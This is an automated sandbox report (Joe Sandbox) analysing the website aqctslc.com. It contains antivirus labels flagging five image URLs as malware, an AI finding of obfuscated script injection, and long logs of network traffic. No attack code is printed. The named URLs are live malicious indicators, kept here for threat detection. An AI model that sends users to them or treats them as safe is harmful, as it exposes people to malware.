Edit tour

Windows Analysis Report
https://aqctslc.com/

Overview

General Information

Sample URL:	https://aqctslc.com/
Analysis ID:	1587184
Tags:	urlscan
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious Javascript

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1964,i,745992911517592731,6057134099655123550,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6872 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://aqctslc.com/" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://imagesspace.hks3.layerstackobjects.com/images/img_678003710aa442.93325130.jpeg	Avira URL Cloud: Label: malware
Source: https://imagesspace.hks3.layerstackobjects.com/images/img_678003bd8a5647.43110570.jpeg	Avira URL Cloud: Label: malware
Source: https://imagesspace.hks3.layerstackobjects.com/images/img_678003ec457cb9.14918951.jpeg	Avira URL Cloud: Label: malware
Source: https://imagesspace.hks3.layerstackobjects.com/images/img_678003721e3aa9.20406748.jpeg	Avira URL Cloud: Label: malware
Source: https://imagesspace.hks3.layerstackobjects.com/images/img_678003648509e8.27521784.png	Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.0.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://aqctslc.com/... This script uses the `document.write()` function to dynamically insert a script tag that loads content from an obfuscated URL. This is a high-risk indicator of potential malicious behavior, as it could be used to execute remote or dynamic code. The obfuscated URL also raises suspicion, as it could be masking a malicious domain. Overall, this script demonstrates several high-risk behaviors and should be considered a significant security concern.

Source: https://aqctslc.com/	HTTP Parser: No favicon
Source: https://aqctslc.com/	HTTP Parser: No favicon
Source: https://aqctslc.com/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50111 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	TCP traffic detected without corresponding DNS query: 35.194.194.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/css/bootstrap.min.css HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/img_678003648509e8.27521784.png HTTP/1.1Host: imagesspace.hks3.layerstackobjects.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/img_678003710aa442.93325130.jpeg HTTP/1.1Host: imagesspace.hks3.layerstackobjects.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/css/animate.min.css HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/css/meanmenu.min.css HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/css/odometer.min.css HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/css/owl.carousel.min.css HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/css/owl.theme.default.min.css HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/css/remixicon.css HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/css/style.css HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/css/responsive.css HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jzwkqucn.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/img_678003721e3aa9.20406748.jpeg HTTP/1.1Host: imagesspace.hks3.layerstackobjects.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/img_678003648509e8.27521784.png HTTP/1.1Host: imagesspace.hks3.layerstackobjects.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/img_678003ec457cb9.14918951.jpeg HTTP/1.1Host: imagesspace.hks3.layerstackobjects.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/img_678003bd8a5647.43110570.jpeg HTTP/1.1Host: imagesspace.hks3.layerstackobjects.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon1.png HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/jquery.min.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/bootstrap.bundle.min.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/owl.carousel.min.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/img_678003710aa442.93325130.jpeg HTTP/1.1Host: imagesspace.hks3.layerstackobjects.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/appear.min.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jzwkqucn.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js-sdk-pro.min.js HTTP/1.1Host: sdk.51.laConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/image/services-icon1.png HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/jquery.min.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/appear.min.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/fonts/remixicon%EF%B9%96t=1590207869815.woff2 HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://aqctslc.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://aqctslc.com/themes/static/css/remixicon.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/image/bg1.jpg HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://aqctslc.com/themes/static/css/style.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/odometer.min.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/meanmenu.min.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/owl.carousel.min.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/wow.min.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/form-validator.min.js HTTP/1.1Host: aqctslc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/static/js/bootstrap.bundle.min.js HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/img_678003bd8a5647.43110570.jpeg HTTP/1.1Host: imagesspace.hks3.layerstackobjects.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/img_678003ec457cb9.14918951.jpeg HTTP/1.1Host: imagesspace.hks3.layerstackobjects.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
